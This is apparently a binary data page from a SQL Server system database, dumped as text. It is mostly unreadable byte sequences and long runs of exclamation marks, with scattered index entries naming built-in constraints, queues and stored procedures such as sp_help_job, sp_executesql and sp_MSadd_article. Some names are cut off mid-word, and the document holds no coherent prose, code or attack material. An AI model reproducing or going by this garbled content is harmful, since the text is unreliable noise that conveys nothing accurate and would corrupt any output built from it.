T
8


				t	X	<	 		x\@$|`D(dH,hL0lP4pT8tX< x\@$|`KJNJ*HWE>HWE>HWE>HWE>HWE>	HdMHdMHdMHdMHdMHdMHdMHdM
^
^
^
^
^
^
^
^
^	
^

^
^
^
	~	~	~	~	~	~	~D	c	D	c	DD!N$!l!!|F7!|F7!':!':!':!d]nHnmRnmRnð)#=El)#=El)#=El)#=El)#=El)#=&y0)#=&y0)#=&y0)#=&y0)#=<)#=<)#=<)#=<)#=<	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	1RN]?	F&nFj8Fj8FADFADFd]Fd]Fd]F\`F\`UFN]?	UFN]?	UFlXOjFOjj8Ojj8Ojd]Ojd]Ojd]Ojd]Ojd]Ojd]Ojd]Ojd]	Ojd]
OjȃcOjȃcOjȃcOjȃcOjȃcOjȃc
OjȃcOjȃcOjȃc
OjȃcOjȃcOjȃcOjȃc4z:N]?	4z:N]?	4z:N]?	4z:0XuZS-ruZS-ruZS-ruZS-ruZS-ruZS-ruZS-ruZS-rd](^(>(_<M(_<M(_<M(_<M(_<M(_<M(_<M(_<M
(_<M(_<M(_<M)#=A)#=A)#=A)#=A)#=A)#=A)#=A)#=A)#=/)#=/)#=/)#=ݐ.)#=ݐ.!)#=X\G)#=X\G)#=X\G)#=X\G)#=X\G)#=X\GbG1!=bG1!=bG1!=bG1!=bG1!=bG1!=bG1!=bG1!=bG1ݐ.bG1ݐ.bG1ݐ.!bG1p6!bG1p6!bG1,bG1,bG1,bG1>RbG1>RbG1>RbG1>RbG1>RbG1>Rk%rna2k%rna2k%rna2k%dMk%dMk%dMk%dMk%dMk%Hk%L*k%L*k%L*k%ΞVk%ΞVk%ΞVk%9Jm1k%9Jm1k%9Jm1k%;k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>k%WE>	k%>Rk%>Rk%>Rk%>Rԏ4_ԏ4_ԏ4_ԏ4_ԏ4_ԏ4_ԏ4_ԏ4_ԏ4_	ԏ4_
ԏ4_ԏ4_ԏ4_
ԏ4_ԏS{ԏS{ԏS{ԏS{ԏS{ԏS{ԏS{	ԏS{
ԏS{!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`D(


lP4pT8tX< 

d
H
,

hL(dH,x\@$|`D0lP4




p
T
8


				t	X	<	hL0pT8P4l 		x\@$|`x\@$D(d< tXH,hL0lP4pT8tX< x\@$|`K KO2=J ")= "}%@ "eE "eE ";P "eQ "eQ "?p5T#_<M5T#_<M5T#_<MCi#d]Ci#d]Ci#7_Ci#7_Ci#\`Ci#\``I#'%"`I#'%"O$/
O$EYH$O$EYH$g]$d]g]$d]g]$7_g]$7_g]$\`g]$\`g]$\`m$'m$'m$'m$'m$'m$'m$'m$'m$'	m$=ykm$=ykm$=ykTs%/Ts%/Ts%/Ts%/Ts%/Ts%/
Q%d]Q%d]Q%7_Q%7_Q%\`Q%\`Q%\`ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'ґ%'	ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%'%"ґ%`I#ґ%=ykґ%=ykґ%=yk%/%/%/%/%/%/%Ts%0&EYH$0&EYH$&'&'&`I#ƻ&p6!ƻ&p6!ƻ&p6!ƻ&p6!	ƻ&3ƻ&3$'0&$'0& ";sN "0KD#}%@D#eED#eED#/D#/D#;PD#/
D#/
D#/
D#?pD#QGD#D#D#EYH$D#EYH$D#٥D#3D#3D#3D#3D#nD#)(*i$4_*i$4_*i$|*6*i$|*6*i$/
*i$ǎ*i$ǎ*i$ǎ*i$ԏ*i$S{*i$S{*i$F!*i$@4m*i$@4mc%&4c%b4c%yQc%yQc%f=Wc%3}c%-IVc%
"c%Qc%5c%|c%|c%|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p
T
8


				t	X	<	 		x\@$\x@$|`D(dH,hL0D(|H
,
`

d



lP4pT8tP



L04lhX< x\@$

|`
8"(
hP\^Ɇ<&>6tJPK__sysssisl__3213E83F87E3C375&kLvJPK__sysutili__077EA96596DEE022&~}<%JPK__sysutili__72E12F1A539BA7C8&4xJPK__sysutili__AC2D3E99F29AB7EE&[y pk_MSdbms&s2pk_MSdbms_datatype&)"Bpk_MSdbms_datatype_mapping&RD(pk_MSdbms_map&\hPK_syscollector_blobs_internal_paremeter_name&}(`PK_syscollector_collection_items_internal&Ͽ^PK_syscollector_collection_sets_internal&K^PK_syscollector_collector_types_internal&U]vPK_syscollector_config_store_internal_paremeter_name&*<HPK_syscollector_execution_log&GNALPK_syscollector_execution_stats&`ABPK_sysdac_history_internal&B
FPK_sysdac_instances_internal&3
<PK_sysmaintplan_subplan&HPK_sysmaintplan_taskdetail_id&@<PK_syspolicy_conditions&F>PK_syspolicy_object_sets&e8PK_syspolicy_policies&FJPK_syspolicy_policy_categories&<WbPK_syspolicy_policy_category_subscriptions&w'inPK_syspolicy_policy_execution_history_details_id&G\PK_syspolicy_target_set_levels_internal&C>PK_syspolicy_target_sets&&r>PK_sysssispackagefolders&vnl2pk_sysssispackages&>N~pk_sysutility_mi_configuration_internal_configuration_id&glSrPK_sysutility_mi_dac_execution_statistics_internal&KWfPK_sysutility_mi_session_statistics_internal&	NxPK_sysutility_ucp_dac_file_space_health_internal_name&PHrPK_sysutility_ucp_mi_database_health_internal_name&;֗BvPK_sysutility_ucp_mi_file_space_health_internal_name&4@PK_sysutility_ucp_mi_name&RZPK_sysutility_ucp_policies_internal_id&zPK_sysutility_ucp_policy_check_condition_internal_type&Qf|PK_sysutility_ucp_policy_target_condition_internal_type&7B fPK_sysutility_ucp_policy_violations_internal&
$dPK_sysutility_ucp_processing_state_internal&£pPK_sysutility_ucp_supported_object_types_internal&uFQueryNotificationErrorsQueue&9K>queue_messages_123147484&v@queue_messages_1972202076&Xv@queue_messages_1977058079&x@queue_messages_2009058193&=bSzPK_sysutility_ucp_mi_volume_space_health_internal_name&!WtPK_sysutility_ucp_computer_cpu_health_internal_name&w|bPK_sysutility_ucp_dac_health_internal_name&N*	`PK_sysutility_ucp_mi_health_internal_name&~`PK_sysutility_ucp_filegroups_with_policy_violations_internal&5<pklsprimary_secondaries&-;>8pklsmonitor_secondary&$plan_guides&e"procedures!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8z4F"
`
~xj

(f

	2	D<XZ>jD>`
l"@Q[tns&5Dsp_enum_sqlagent_subsystems&ϓ4Vsp_enum_sqlagent_subsystems_internal&Fsp_ExternalMailQueueListener&lJsp_generate_server_description&Hfsp_generate_target_server_job_assignment_sql&Ȝ[Hsp_get_chunked_jobstep_params&U0Q@sp_get_composite_job_info&W0sp_get_job_alerts&9>Bsp_get_jobstep_db_username&ucNsp_get_log_shipping_monitor_info&̴~Bsp_get_message_description&C}<sp_get_proxy_properties&GDsp_get_schedule_description&m.(sp_get_script&Bsp_get_sqlagent_properties&6sp_GetAttachmentData&/+<sp_grant_login_to_proxy&7~Dsp_grant_proxy_to_subsystem&(l(sp_help_alert&4A*.sp_help_category&n36sp_help_downloadlist&2$R$sp_help_job&=y4sp_help_jobactivity&VS.sp_help_jobcount&/2sp_help_jobhistory&-<sp_help_jobhistory_full&~:sp_help_jobhistory_sem&Q.Bsp_help_jobhistory_summary&{T>sp_help_jobs_in_schedule&8YkL4sp_help_jobschedule&520sp_help_jobserver&7C,sp_help_jobstep&gNsp_help_fulltext_catalogs_cursor&-'.sp_grantdbaccess&7vsp_fulltext_semantic_register_language_statistics_db&}#|6sp_fulltext_database&zcY^sp_filestream_recalculate_container_size&,Dsp_generate_agent_parameter&
[0<sp_foreign_keys_rowset3&YHsp_fulltext_recycle_crawl_log&G2sp_generatefilters&}4sp_fulltext_catalog&8sp_help_agent_default&T8sp_getsqlqueueversion&K8sp_getVolumeFreeSpace&ZiLsp_expired_subscription_cleanup&Af@sp_help_fulltext_catalogs&H8sp_getmergedeletetype&.sp_getqueuedrows&#Zsp_get_mergepublishedarticleproperties& 6:sp_enumcustomresolvers&l"sp_enumdsn&;$2sp_get_distributor&fCsp_help&2LDsp_get_redirected_publisher&<sp_help_fulltext_tables&ә4sp_fulltext_service&@Zsp_filestream_force_garbage_collection&':sp_foreign_keys_rowset&Lsp_fulltext_load_thesaurus_file&`sp_get_job_status_mergesubscription_agent&$>sp_help_fulltext_columns&>sp_help_datatype_mapping&B(sp_executesql&Nsp_enumeratependingschemachanges&^Fsp_getdefaultdatatypemapping&Rsp_help_fulltext_system_components&N.sp_enumerrorlogs&Nsp_get_Oracle_publisher_metadata&%rX6sp_getProcessorUsage&镧:sp_enumfullsubscribers&wCsp_fkeys&_8sp_help_agent_profile&Y)Dsp_grant_publication_access&=aFLsp_getqueuedarticlesynctraninfo&P\sp_FuzzyLookupTableMaintenanceUninstall&\<sp_fulltext_keymappings&W&Lsp_help_fulltext_columns_cursor&k2sp_gettopologyinfo&HE4sp_firstonly_bitmap&ݾe0sp_fulltext_table&pc2Bsp_foreign_keys_rowset_rmt&w8.sp_getschemalock&tBsp_fulltext_pendingchanges&VLsp_flush_commit_table_on_demand&lf<sp_help_agent_parameter&T*sp_foreignkeys&
R18sp_flush_commit_table&t3zsp_fulltext_semantic_unregister_language_statistics_db&Tsp_getsubscription_status_hsnapshot&R4sp_fulltext_getdata&2sp_fulltext_column&ۥ>sp_getagentparameterlist&G"sp_execute&.n4sp_getpublisherlink&c(sp_getapplock&lˣ<sp_enumoledbdatasources&:(sp_grantlogin&Jsp_help_fulltext_tables_cursor&R<sp_foreign_keys_rowset2&׵hsp_estimated_rowsize_reduction_for_vardecimal&
Vsp_estimate_data_compression_savings&82Nsp_getsubscriptiondtspackagename&J'aXsp_FuzzyLookupTableMaintenanceInstall&4Tsp_help_fulltext_catalog_components&lF,sp_getbindtoken&TGVsp_FuzzyLookupTableMaintenanceInvoke&8sp_get_query_template_fulltext_tables&Xsp_help_log_shipping_primary_database&wX,sp_helplanguage&ә4sp_fulltext_service&0sp_helparticledts&@Zsp_filestream_force_garbage_collection&<2sp_IHarticlecolumn&':sp_foreign_keys_rowset&Lsp_fulltext_load_thesaurus_file&`sp_get_job_status_mergesubscription_agent&$>sp_help_fulltext_columns&>sp_help_datatype_mapping&"A4sp_link_publication&U6sp_indexes_90_rowset&d4sp_helptracertokens&>sp_helpmergesubscription&*]$sp_helpfile&B(sp_executesql&Nsp_enumerT^,z
b*phB

2j4
B:00.dd"6
z82x82
@j	Z
`	p~jd
:	:Dd	
@vf`
W"	4R[4i&|Lsp_maintplan_update_subplan_tsx&9U<sp_manage_jobs_by_login&ieHRsp_MSactivatelogbasedarticleobject&Al>sp_MSadd_filteringcolumn&$8sp_MSadd_repl_command&:sp_MSadd_replcmds_mcit&_Lsp_MSaddlightweightmergearticle&lLsp_MSaddmergedynamicsnapshotjob&ҲNsp_MSallocate_new_identity_range&Bsp_MSalreadyhavegeneration&$4sp_MSarticlecleanup&cf:sp_MSactivate_auto_sub&;\sp_MSacquiresnapshotdeliverysessionlock&6sp_MSadd_publication&3f:sp_MSagent_stethoscope&&@sp_MSadd_snapshot_history&zVsp_MSadd_log_shipping_history_detail&}<sp_MSadd_tracer_history&\@sp_MSadd_mergereplcommand&|Q>sp_MSaddanonymousreplica&,sp_MSaddpeerlsn&h$Dsp_MSacquireHeadofQueueLock&<Fsp_mergesubscription_cleanup&4sp_MSadd_repl_alert&0Bsp_MScache_agent_parameter&8sp_MSadd_tracer_token&U)Dsp_MSaddinitialsubscription&O>sp_MSadd_anonymous_agent&<sp_mergecleanupmetadata&8sp_mergearticlecolumn&4sp_mergedummyupdate&8sp_MScdc_db_ddl_event&zFsp_migrate_user_to_contained&Jsp_MSadd_merge_anonymous_agent&Nsp_mergemetadataretentioncleanup&>sp_MSadjust_pub_identity&Pfsp_MSacquireserverresourcefordynamicsnapshot&nBsp_markpendingschemachange&Tsp_MSaddmergetriggers_from_template&fvLsp_MSadd_mergesubentry_indistdb&`Dsp_mergesubscriptionsummary&Z\sp_MSadddynamicsnapshotjobatdistributor&_:sp_MSadd_qreader_agent&4fsp_MSactivateprocedureexecutionarticleobject&H!0sp_mapdown_bitmap&"Rsp_MSadd_log_shipping_error_detail&d6sp_MScdc_cleanup_job&8lBsp_MSadd_logreader_history&Bsp_MSaddinitialpublication&c6sp_MSacquireSlotLock&ARsp_MSadd_dynamic_snapshot_location&,Bsp_MSadd_repl_commands27hp&aFsp_MSaddsubscriptionarticles&>sp_MSadd_qreader_history&LIFsp_MSaddinitialschemaarticle&,sp_MScdc_logddl&=iDsp_MSadd_merge_subscription&Dsp_MSadd_distribution_agent&E8sp_MSaddmergetriggers&_2sp_MSaddguidcolumn&P[2sp_MScdc_ddl_event&6@sp_MSbrowsesnapshotfolder&E?@sp_MSadd_compensating_cmd&P"sp_monitor&L?>sp_MSadd_subscriber_info&FHsp_MSadd_distribution_history&Fsp_MSadd_subscriber_schedule&[:sp_MSaddinitialarticle&n6sp_MSadd_merge_agent&;Dsp_MS_replication_installed&
<sp_MSadd_snapshot_agent&:sp_MS_marksystemobject&X.sp_MSadd_article&ޛ4sp_MSadd_repl_error&x"0sp_MSaddguidindex&W@sp_MSadd_subscription_3rd&!4sp_MSchange_article&CFsp_MSagent_retry_stethoscope&w8sp_MSadd_subscription&
